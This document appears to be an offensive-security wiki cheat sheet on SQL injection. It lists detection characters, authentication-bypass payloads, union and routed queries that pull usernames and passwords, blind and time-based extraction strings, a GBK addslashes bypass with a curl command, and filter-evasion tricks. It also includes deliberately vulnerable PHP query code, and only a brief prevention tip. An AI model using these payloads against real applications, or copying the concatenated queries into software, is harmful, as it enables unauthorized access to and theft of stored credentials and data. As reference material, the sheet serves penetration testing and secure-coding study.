Appearance
SQL Injection (SQLi)
Multiple SQL Injection exists, there are differents methods to bypass this.
📚 Resources
Entry Point Detection
To detect an SQL injection, there are any methods.
Error Based: In the first case, you can try to escape string with below chars, this will potentially send you an error message :
Simple characters:
',",;,)Simple encoded characters:
%27,%22,%0d%0a,%0b%0c,%00,%09,%29,%2AMultiple encoding:
%%2727,%25%27Unicode characters:
U+02BA,U+02B9
Testing Paylods
Default payloads
sql
1" or 1=1 -- true
1 and 1=2 -- falseOrder Group
sql
1' ORDER BY 1-- - #True
1' ORDER BY 2-- a #True
1' ORDER BY 3--+ #TrueUNION SELECT
Adjust the number of columns using NULL values until the query matches the original SELECT statement
sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - WorkedPDO injection (PHP 8.3 and lower)
Well Known CVE PHP PDO
Basic Auth Bypass
sql
1' OR '1'='1sql
1' OR 1=1 -- -
1' 1=1 --+
' or 1=1 limit 1 --Raw MD5 and SHA1
In PHP, setting the optional binary parameter of md5() (or sha1()) to true returns the hash in **raw binary format**, rather than hexadecimal. This means the result is a sequence of bytes, not a string of characters.
php
sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";An attacker could craft a password so that md5($password, true) includes a quote, breaking out of the SQL context — for example: ' or 'SOMETHING.
| Hash | Input | Output (Raw) | Payload |
|---|---|---|---|
| md5 | ffifdyop | 'or'6�]��!r,��b | 'or' |
| md5 | 129581926211651571912466741651878684928 | ÚT0D��o#ßÁ'or'8 | 'or' |
| sha1 | 5651578060603509 | E&�ɶ��'||'8�vjc\� | '||'8 |
| sha1 | 3fDf | Q�u'='�@�[�t�- o��_-! | '=' |
| sha1 | 178374 | �ÜÛ¾}_i��a!8Wm'/*´Õ | '/* |
| sha1 | 17 | Ùp2ûjww�%6\ | \ |
| sha1 | 277c7c | VF�I\:X+(�R?�'5r�% | ' |
Code to search for string: '/* in md5 binary hash:
php
for ($i = 0; $i < 10000000; $i = $i + 1) {
$candidat = md5($i, TRUE);
if (strstr($candidat, "'/*")) {
$candidat = preg_replace('/[^[:print:]]+/', ' ', $candidat);
echo "$i: >$candidat<\r\n";
}
}Numeric Based
With numeric injection, values are inserted directly without using quotes.
php
$sql = "SELECT id, name, price FROM products WHERE id = $_GET['id'];"An attacker can inject:
sql
1 UNION SELECT username, password, NULL FROM users;This works because the id parameter is treated as a number, so no quotes are needed.
Union Based
The UNION keyword allows combining the results of multiple SELECT statements into a single response.
php
$sql = "SELECT price FROM products WHERE price = $price;"sql
1 UNION SELECT username, password FROM users --sql
SELECT price FROM products WHERE price = 1 UNION SELECT username, password FROM users;In this case, the result of the injected query replaces the original output, showing data from the users table.
SQLi - Routed
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output.
In short, the result of the first SQL query is used to build the second SQL query. The usual format is ' union select 0xHEXVALUE -- where the HEX is the SQL injection for the second query.
sql
' union select 0x2720756e696f6e2073656c65637420656d61696c2c2070617373776f72642066726f6d2075736572732d2d -- -plaintext
0x2720756e696f6e2073656c65637420656d61696c2c2070617373776f72642066726f6d2075736572732d2d
Hex decoded -> ' union select email, password from users--
Final paylaod -> ' union select ' union select email, password from users-- -- -Second Order SQL Injection
Second-order SQLi is a stored SQL injection. There is an example :
php
// attacker registers a username that contains a payload
$username = $_POST['username'] // admin' AND password LIKE "<char>%"
$registerStmt = $pdo->prepare('INSERT INTO users (username, email) VALUES (:username, :email)')->execute([':username' => $username, ':email' => $email]);
$username = $pdo->prepare('SELECT * FROM users WHERE id = :id')->bindParam(':id', $_SESSION['id'])->execute([':id' => $_SESSION['id']])->fetch(PDO::FETCH_ASSOC);There is nothing suspicious at first glance, but if username contains an injection payload and it is used like this:
php
// later the application reads the stored value
$update = $pdo->prepare("UPDATE users SET email = :email WHERE username = '" . $user . "'")->execute([':email' => $email]);This allows an attacker to register a malicious payload which, when the stored value is later used unsafely (by concatenation), can be executed to inject SQL and extract data.
SQLi - Blind
In blind SQL injection, the server doesn't return any visible data directly in the response. Instead, you have to infer information based on response behavior — such as timing delays or conditional responses.
Guessing
Look the cheatsheet SQLi intruder to check payloads and method bypass.
🔍 Password Length Guessing
If a condition is true, the server's response may change (e.g., error, redirect, delay):
bash
admin' and (select length(password)>10)--
admin' and length(password)=12--🔐 Password Extraction (Character by Character)
Guess characters one at a time by comparing them with known values:
bash
admin' and (select substr(password,1,1)='a')--
# or
admin' and substr(password,1,1)='ab***'--Error Blind SQLi
In Error-Based Blind SQLi, errors are triggered to extract information. For example, to retrieve table names:
sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -The query will return an error if the condition is met, revealing database structure details through error messages.
Time Based SQLi
In Time-Based Blind SQLi, you introduce delays to infer information based on response times.
sql
AND IF(1=1, SLEEP(5), 0)--sql
1' and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') -- -
' AND '1'='1' AND SLEEP(5)GBK
GBK is a character encoding used in Simplified Chinese systems. It is an extension of the older GB2312 encoding and is compatible with it. GBK supports a much larger range of Chinese characters and also includes some non-Chinese characters.
How GBK Bypasses addslashes()
addslashes() is a PHP function that escapes special characters like ', ", \, and null bytes (\0) by adding backslashes (\) before them. While it is commonly used to prevent SQL injection, it is not a secure method for escaping input because it does not account for the character encoding of the database.
The vulnerability occurs when the database server uses the GBK encoding, and PHP assumes a different encoding (e.g., Latin1).
Bypassing with 0xBF27
In Latin1:
0xBF27is interpreted as¿'(a valid character + a single quote).addslashes()escapes it as¿'->0xBF5C27(where0xBF5Cis the¿character, and0x27is the quote').
In GBK:
0xBF5C27is interpreted as a valid GBK character뽜', (where0xBF5Cis part of a multibyte character in GBK).The backslash
\in0xBF5Cis treated as part of the character (not an escape sequence), meaning the quote ' is no longer escaped, leading to a successful SQL injection.
Exploit
If addslashes() is used for sanitization:
php
$username = addslashes($input);
$query = "SELECT * FROM users WHERE username = '$username'";An attacker can inject :
php
# Payloads
\xBF27 # This will be interpreted as ¿' after addslashes()
¿' OR '1'='1
뽜' OR 1=1 -- -bash
# Curl exploit
echo -e "\xbf\x27" # ¿'
curl 'http://vuln.com/index.php' -L -d "login=admin$(echo -e "\xbf\x27")%20OR%201=1%20--%20-&password=foo"which MySQL (using GBK) interprets as:
SQL
SELECT * FROM users WHERE username = '뽜' OR '1'='1'This closes the quote early, leading to SQL Injection.
To prevent it :
- Use
UTF-8encoding - In Database, use
SET NAMES utf8mb4
Bypass WAF and Filter
Look the cheatsheet on intruder payloads and methods to bypasss.
Bypass White Space Filtered
- URL Encoding:
%09,%0d%0a,%0c%0b,%A0
Bypass using comments and parenthesis:
| Bypass | Technique |
|---|---|
?id=1/*comment*/AND/**/1=1/**/-- | Comment |
?id=1/*!12345UNION*//*!12345SELECT*/1-- | Conditional comment |
?id=(1)and(1)=(1)-- | Parenthesis |
No comma (,)
Bypass using OFFSET, FROM and JOIN.
| Forbidden | Bypass |
|---|---|
LIMIT 0,1 | LIMIT 1 OFFSET 0 |
SUBSTR('SQL',1,1) | SUBSTR('SQL' FROM 1 FOR 1) |
SELECT 1,2,3,4 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d |
sql
SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT username FROM users)dCase Modification
Bypass uppercase/lowercase.
sql
sEleCt unIoN fRoM aNd oR ...Bypass keywords filtered.
| Forbidden | Bypass |
|---|---|
AND | && |
OR | || |
= | LIKE, REGEXP, BETWEEN |
> | NOT BETWEEN 0 AND X |
WHERE | HAVING |
sql
-- No Equals Allowed
LIKE,
NOT IN,
IN,
BETWEEN